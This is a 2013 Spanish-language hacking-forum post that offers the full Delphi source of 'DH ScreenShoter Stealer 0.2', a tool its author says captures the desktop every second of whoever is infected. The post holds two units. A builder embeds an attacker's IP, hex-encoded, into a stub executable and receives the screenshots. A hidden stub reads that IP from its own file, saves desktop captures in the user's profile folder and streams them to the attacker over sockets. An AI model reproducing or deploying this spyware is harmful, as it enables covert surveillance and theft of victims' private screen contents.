elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Introducción a la Factorización De Semiprimos (RSA)


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  [Delphi] DH ScreenShoter Stealer 0.2
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [Delphi] DH ScreenShoter Stealer 0.2  (Leído 1,800 veces)
BigBear


Desconectado Desconectado

Mensajes: 545



Ver Perfil
[Delphi] DH ScreenShoter Stealer 0.2
« en: 25 Noviembre 2013, 15:34 pm »

Un simple programa para capturar el escritorio cada 1 segundo de la persona a la que infectes con este programa.

Una imagen.



Los codigos.

El generador.

Código
  1. // DH ScreenShoter Stealer 0.2
  2. // (C) Doddy Hackman 2013
  3. // Credits :
  4. // Socket Server & Socket Client based in : http://www.planet-source-code.com/vb/scripts/ShowCode.asp?txtCodeId=783&lngWId=7
  5. // Thanks to Cold Fuzion
  6.  
  7. unit screen;
  8.  
  9. interface
  10.  
  11. uses
  12.  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  13.  Dialogs, ExtCtrls, StdCtrls, ScktComp, Jpeg, sSkinManager, ComCtrls,
  14.  sPageControl, sStatusBar, sGroupBox, sButton, sRadioButton, acPNG, sLabel,
  15.  sEdit;
  16.  
  17. type
  18.  TForm1 = class(TForm)
  19.    ServerSocket1: TServerSocket;
  20.    ServerSocket2: TServerSocket;
  21.    Timer1: TTimer;
  22.    Timer2: TTimer;
  23.    sSkinManager1: TsSkinManager;
  24.    sPageControl1: TsPageControl;
  25.    sTabSheet1: TsTabSheet;
  26.    sTabSheet2: TsTabSheet;
  27.    sTabSheet3: TsTabSheet;
  28.    sTabSheet4: TsTabSheet;
  29.    sStatusBar1: TsStatusBar;
  30.    sGroupBox1: TsGroupBox;
  31.    Image1: TImage;
  32.    sGroupBox2: TsGroupBox;
  33.    sGroupBox3: TsGroupBox;
  34.    sGroupBox4: TsGroupBox;
  35.    sRadioButton1: TsRadioButton;
  36.    sRadioButton2: TsRadioButton;
  37.    sGroupBox5: TsGroupBox;
  38.    sButton1: TsButton;
  39.    Image2: TImage;
  40.    sLabel1: TsLabel;
  41.    sGroupBox6: TsGroupBox;
  42.    sEdit1: TsEdit;
  43.    sButton2: TsButton;
  44.    sGroupBox7: TsGroupBox;
  45.    sButton3: TsButton;
  46.    Image3: TImage;
  47.  
  48.    procedure ServerSocket1ClientRead(Sender: TObject;
  49.      Socket: TCustomWinSocket);
  50.    procedure ServerSocket2ClientRead(Sender: TObject;
  51.      Socket: TCustomWinSocket);
  52.    procedure Timer1Timer(Sender: TObject);
  53.    procedure Timer2Timer(Sender: TObject);
  54.    procedure sButton1Click(Sender: TObject);
  55.    procedure sButton2Click(Sender: TObject);
  56.    procedure sButton3Click(Sender: TObject);
  57.    procedure FormCreate(Sender: TObject);
  58.  private
  59.    { Private declarations }
  60.    conexion: TFileStream;
  61.    control: integer;
  62.  
  63.  public
  64.    { Public declarations }
  65.  end;
  66.  
  67. var
  68.  Form1: TForm1;
  69.  cantidad: string;
  70.  
  71. implementation
  72.  
  73. uses fullscreen;
  74. {$R *.dfm}
  75. // Functions
  76.  
  77. function dhencode(texto, opcion: string): string;
  78. // Thanks to Taqyon
  79. // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
  80. var
  81.  num: integer;
  82.  aca: string;
  83.  cantidad: integer;
  84.  
  85. begin
  86.  
  87.  num := 0;
  88.  Result := '';
  89.  aca := '';
  90.  cantidad := 0;
  91.  
  92.  if (opcion = 'encode') then
  93.  begin
  94.    cantidad := length(texto);
  95.    for num := 1 to cantidad do
  96.    begin
  97.      aca := IntToHex(ord(texto[num]), 2);
  98.      Result := Result + aca;
  99.    end;
  100.  end;
  101.  
  102.  if (opcion = 'decode') then
  103.  begin
  104.    cantidad := length(texto);
  105.    for num := 1 to cantidad div 2 do
  106.    begin
  107.      aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
  108.      Result := Result + aca;
  109.    end;
  110.  end;
  111.  
  112. end;
  113.  
  114. procedure achicar(archivo, medir1, medir2: string);
  115.  
  116. // Credits  :
  117. // Based on : http://www.delphidabbler.com/tips/99
  118. // Thanks to www.delphidabbler.com
  119.  
  120. var
  121.  bit3: Double;
  122.  bit2: TJpegImage;
  123.  bit1: TBitmap;
  124.  
  125. begin
  126.  
  127.  try
  128.    begin
  129.  
  130.      bit2 := TJpegImage.Create;
  131.  
  132.      bit2.Loadfromfile(archivo);
  133.  
  134.      if bit2.Height > bit2.Width then
  135.      begin
  136.        bit3 := StrToInt(medir1) / bit2.Height
  137.      end
  138.      else
  139.      begin
  140.        bit3 := StrToInt(medir2) / bit2.Width;
  141.      end;
  142.  
  143.      bit1 := TBitmap.Create;
  144.  
  145.      bit1.Width := Round(bit2.Width * bit3);
  146.      bit1.Height := Round(bit2.Height * bit3);
  147.      bit1.Canvas.StretchDraw(bit1.Canvas.Cliprect, bit2);
  148.  
  149.      bit2.Assign(bit1);
  150.  
  151.      bit2.SaveToFile(archivo);
  152.  
  153.    end;
  154.  except
  155.    //
  156.  end;
  157.  
  158. end;
  159. //
  160.  
  161. procedure TForm1.FormCreate(Sender: TObject);
  162. begin
  163.  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  164.  sSkinManager1.SkinName := 'garnet';
  165.  sSkinManager1.Active := True;
  166. end;
  167.  
  168. procedure TForm1.sButton1Click(Sender: TObject);
  169. begin
  170.  try
  171.    begin
  172.      ServerSocket1.Open;
  173.  
  174.      sStatusBar1.Panels[0].Text := '[+] Online';
  175.      Form1.sStatusBar1.Update;
  176.    end;
  177.  except
  178.    begin
  179.      sStatusBar1.Panels[0].Text := '[-] Error';
  180.      Form1.sStatusBar1.Update;
  181.    end;
  182.  end;
  183.  
  184. end;
  185.  
  186. procedure TForm1.sButton2Click(Sender: TObject);
  187. begin
  188.  try
  189.    begin
  190.      ServerSocket1.Close;
  191.      sStatusBar1.Panels[0].Text := '[+] OffLine';
  192.      Form1.sStatusBar1.Update;
  193.    end;
  194.  except
  195.    begin
  196.      sStatusBar1.Panels[0].Text := '[-] Error';
  197.      Form1.sStatusBar1.Update;
  198.    end;
  199.  end;
  200. end;
  201.  
  202. procedure TForm1.sButton3Click(Sender: TObject);
  203. var
  204.  aca: THandle;
  205.  code: Array [0 .. 9999 + 1] of Char;
  206.  nose: DWORD;
  207.  stubgenerado: string;
  208.  lineafinal: string;
  209.  linea: string;
  210. begin
  211.  
  212.  aca := INVALID_HANDLE_VALUE;
  213.  nose := 0;
  214.  
  215.  stubgenerado := 'stealer_ready.exe';
  216.  
  217.  linea := '[ip]' + sEdit1.Text + '[ip]';
  218.  lineafinal := '[63686175]' + dhencode(linea, 'encode') + '[63686175]';
  219.  
  220.  DeleteFile(stubgenerado);
  221.  CopyFile(PChar(ExtractFilePath(Application.ExeName)
  222.        + '/' + 'Data/servernow.exe'), PChar
  223.      (ExtractFilePath(Application.ExeName) + '/' + stubgenerado), True);
  224.  
  225.  StrCopy(code, PChar(lineafinal));
  226.  aca := CreateFile(PChar('stealer_ready.exe'), GENERIC_WRITE, FILE_SHARE_READ,
  227.    nil, OPEN_EXISTING, 0, 0);
  228.  if (aca <> INVALID_HANDLE_VALUE) then
  229.  begin
  230.    SetFilePointer(aca, 0, nil, FILE_END);
  231.    WriteFile(aca, code, 9999, nose, nil);
  232.    CloseHandle(aca);
  233.  end;
  234.  
  235.  sStatusBar1.Panels[0].Text := '[+] Done';
  236.  Form1.sStatusBar1.Update;
  237.  
  238. end;
  239.  
  240. procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
  241.  Socket: TCustomWinSocket);
  242. var
  243.  contenido: string;
  244.  
  245. begin
  246.  
  247.  contenido := Socket.ReceiveText;
  248.  
  249.  if (Pos('0x3archivo', contenido) > 0) then
  250.  begin
  251.    conexion := TFileStream.Create(Copy(contenido, 11, length(contenido)),
  252.      fmCREATE or fmOPENWRITE and fmsharedenywrite);
  253.  
  254.    ServerSocket2.Open;
  255.  
  256.  end
  257.  else
  258.  begin
  259.    if (Pos('0x3acantid', contenido) > 0) then
  260.    begin
  261.      cantidad := Copy(contenido, 11, length(contenido));
  262.    end;
  263.  end;
  264. end;
  265.  
  266. procedure TForm1.ServerSocket2ClientRead(Sender: TObject;
  267.  Socket: TCustomWinSocket);
  268. var
  269.  data: array [0 .. 9999] of Char;
  270.  otracantidad: integer;
  271.  
  272. begin
  273.  
  274.  Timer1.Enabled := True;
  275.  
  276.  while Socket.ReceiveLength > 0 do
  277.  
  278.  begin
  279.  
  280.    otracantidad := Socket.ReceiveBuf(data, Sizeof(data));
  281.  
  282.    if otracantidad <= 0 then
  283.    begin
  284.      Break;
  285.    end
  286.    else
  287.    begin
  288.      conexion.Write(data, otracantidad);
  289.    end;
  290.  
  291.    if conexion.Size >= StrToInt(cantidad) then
  292.  
  293.    begin
  294.  
  295.      conexion.Free;
  296.  
  297.      Timer1.Enabled := False;
  298.  
  299.      control := 0;
  300.  
  301.      Break;
  302.  
  303.    end;
  304.  end;
  305. end;
  306.  
  307. procedure TForm1.Timer1Timer(Sender: TObject);
  308. begin
  309.  control := 1;
  310. end;
  311.  
  312. procedure TForm1.Timer2Timer(Sender: TObject);
  313. begin
  314.  
  315.  try
  316.    begin
  317.      if ServerSocket1.Active = True then
  318.      begin
  319.        if FileExists('screen.jpg') then
  320.        begin
  321.  
  322.          if (sRadioButton1.Checked) then
  323.          begin
  324.            achicar('screen.jpg', '400', '400');
  325.            Image1.Picture.Loadfromfile('screen.jpg');
  326.          end
  327.          else
  328.          begin
  329.            Form2.Show;
  330.            achicar('screen.jpg', '1000', '1000');
  331.            Form2.Image1.Picture.Loadfromfile('screen.jpg');
  332.          end;
  333.        end;
  334.      end;
  335.    end;
  336.  except
  337.    //
  338.  end;
  339. end;
  340.  
  341. end.
  342.  
  343. // The End ?
  344.  

El servidor.

Código
  1. // DH ScreenShoter Stealer 0.2
  2. // (C) Doddy Hackman 2013
  3. // Credits :
  4. // Socket Server & Socket Client based in : http://www.planet-source-code.com/vb/scripts/ShowCode.asp?txtCodeId=783&lngWId=7
  5. // Thanks to Cold Fuzion
  6.  
  7. unit server;
  8.  
  9. interface
  10.  
  11. uses
  12.  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  13.  Dialogs, ScktComp, StdCtrls, ExtCtrls, Jpeg;
  14.  
  15. type
  16.  TForm1 = class(TForm)
  17.    ClientSocket1: TClientSocket;
  18.    ClientSocket2: TClientSocket;
  19.    Timer1: TTimer;
  20.    procedure FormCreate(Sender: TObject);
  21.    procedure Timer1Timer(Sender: TObject);
  22.  private
  23.    { Private declarations }
  24.  public
  25.    { Public declarations }
  26.  end;
  27.  
  28. var
  29.  Form1: TForm1;
  30.  target: string;
  31.  
  32. implementation
  33.  
  34. {$R *.dfm}
  35. // Functions
  36.  
  37. function regex(text: String; deaca: String; hastaaca: String): String;
  38. begin
  39.  Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
  40.  SetLength(text, AnsiPos(hastaaca, text) - 1);
  41.  Result := text;
  42. end;
  43.  
  44. function dhencode(texto, opcion: string): string;
  45. // Thanks to Taqyon
  46. // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
  47. var
  48.  num: integer;
  49.  aca: string;
  50.  cantidad: integer;
  51.  
  52. begin
  53.  
  54.  num := 0;
  55.  Result := '';
  56.  aca := '';
  57.  cantidad := 0;
  58.  
  59.  if (opcion = 'encode') then
  60.  begin
  61.    cantidad := Length(texto);
  62.    for num := 1 to cantidad do
  63.    begin
  64.      aca := IntToHex(ord(texto[num]), 2);
  65.      Result := Result + aca;
  66.    end;
  67.  end;
  68.  
  69.  if (opcion = 'decode') then
  70.  begin
  71.    cantidad := Length(texto);
  72.    for num := 1 to cantidad div 2 do
  73.    begin
  74.      aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
  75.      Result := Result + aca;
  76.    end;
  77.  end;
  78.  
  79. end;
  80.  
  81. procedure capturar(nombre: string);
  82. var
  83.  imagen2: TJpegImage;
  84.  imagen1: TBitmap;
  85.  aca: HDC;
  86.  
  87. begin
  88.  
  89.  aca := GetWindowDC(GetDesktopWindow);
  90.  
  91.  imagen1 := TBitmap.Create;
  92.  imagen1.PixelFormat := pf24bit;
  93.  imagen1.Height := Screen.Height;
  94.  imagen1.Width := Screen.Width;
  95.  
  96.  BitBlt(imagen1.Canvas.Handle, 0, 0, imagen1.Width, imagen1.Height, aca, 0, 0,
  97.    SRCCOPY);
  98.  
  99.  imagen2 := TJpegImage.Create;
  100.  imagen2.Assign(imagen1);
  101.  imagen2.CompressionQuality := 60;
  102.  imagen2.SaveToFile(nombre);
  103.  
  104. end;
  105.  
  106.  
  107. //
  108.  
  109. procedure TForm1.FormCreate(Sender: TObject);
  110.  
  111. var
  112.  ob: THandle;
  113.  code: Array [0 .. 9999 + 1] of Char;
  114.  nose: DWORD;
  115.  todo: string;
  116.  
  117. begin
  118.  
  119.  Application.ShowMainForm := False;
  120.  
  121.  ob := INVALID_HANDLE_VALUE;
  122.  code := '';
  123.  
  124.  ob := CreateFile(Pchar(paramstr(0)), GENERIC_READ, FILE_SHARE_READ, nil,
  125.    OPEN_EXISTING, 0, 0);
  126.  if (ob <> INVALID_HANDLE_VALUE) then
  127.  begin
  128.    SetFilePointer(ob, -9999, nil, FILE_END);
  129.    ReadFile(ob, code, 9999, nose, nil);
  130.    CloseHandle(ob);
  131.  end;
  132.  
  133.  todo := regex(code, '[63686175]', '[63686175]');
  134.  todo := dhencode(todo, 'decode');
  135.  
  136.  target := regex(todo, '[ip]', '[ip]');
  137.  
  138.  try
  139.    begin
  140.      ClientSocket1.Address := target;
  141.      ClientSocket1.Open;
  142.    end;
  143.  except
  144.    //
  145.  end;
  146.  
  147. end;
  148.  
  149. procedure TForm1.Timer1Timer(Sender: TObject);
  150. var
  151.  archivo: string;
  152.  envio: TFileStream;
  153.  dir: string;
  154.  
  155. begin
  156.  
  157.  try
  158.    begin
  159.  
  160.      if ClientSocket1.Active = True then
  161.  
  162.      begin
  163.        dir := GetEnvironmentVariable('USERPROFILE') + '\';
  164.  
  165.        chdir(dir);
  166.  
  167.        if (FileExists('screen.jpg')) then
  168.        begin
  169.          DeleteFile('screen.jpg');
  170.        end;
  171.  
  172.        capturar('screen.jpg');
  173.  
  174.        archivo := dir + 'screen.jpg';
  175.  
  176.        try
  177.          begin
  178.            ClientSocket1.Socket.SendText
  179.              ('0x3archivo' + ExtractFileName(archivo));
  180.            envio := TFileStream.Create(archivo, fmopenread);
  181.  
  182.            sleep(500);
  183.  
  184.            ClientSocket1.Socket.SendText('0x3acantid' + IntToStr(envio.Size));
  185.  
  186.            envio.Free;
  187.  
  188.            ClientSocket2.Address := target;
  189.            ClientSocket2.Open;
  190.  
  191.            ClientSocket2.Socket.SendStream
  192.              (TFileStream.Create(archivo, fmopenread));
  193.          end;
  194.        except
  195.          //
  196.        end;
  197.      end;
  198.    end;
  199.  except
  200.    //
  201.  end;
  202.  
  203. end;
  204.  
  205. end.
  206.  
  207. // The End ?
  208.  

Si lo quieren bajar lo pueden hacer de aca.


En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
[Descarga] CodeGear RAD Studio - Delphi 2007 + Delphi for PHP « 1 2 3 »
Software
GroK 26 25,228 Último mensaje 14 Mayo 2014, 17:51 pm
por sebaseok
[Delphi] DH ScreenShoter 0.1
Programación General
BigBear 0 1,425 Último mensaje 6 Septiembre 2013, 18:58 pm
por BigBear
[Perl] DH ScreenShoter 0.1
Scripting
BigBear 0 1,525 Último mensaje 4 Octubre 2013, 19:31 pm
por BigBear
[Delphi] DH WebCam Stealer 0.2
Programación General
BigBear 1 2,137 Último mensaje 29 Noviembre 2013, 15:39 pm
por daryo
[Delphi] DH ScreenShoter 0.3
Programación General
BigBear 0 1,324 Último mensaje 9 Mayo 2014, 20:22 pm
por BigBear
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines